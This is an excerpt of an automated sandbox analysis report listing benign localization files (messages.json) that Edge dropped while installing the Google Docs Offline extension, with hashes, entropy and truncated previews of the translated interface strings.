SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1272_395290366\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
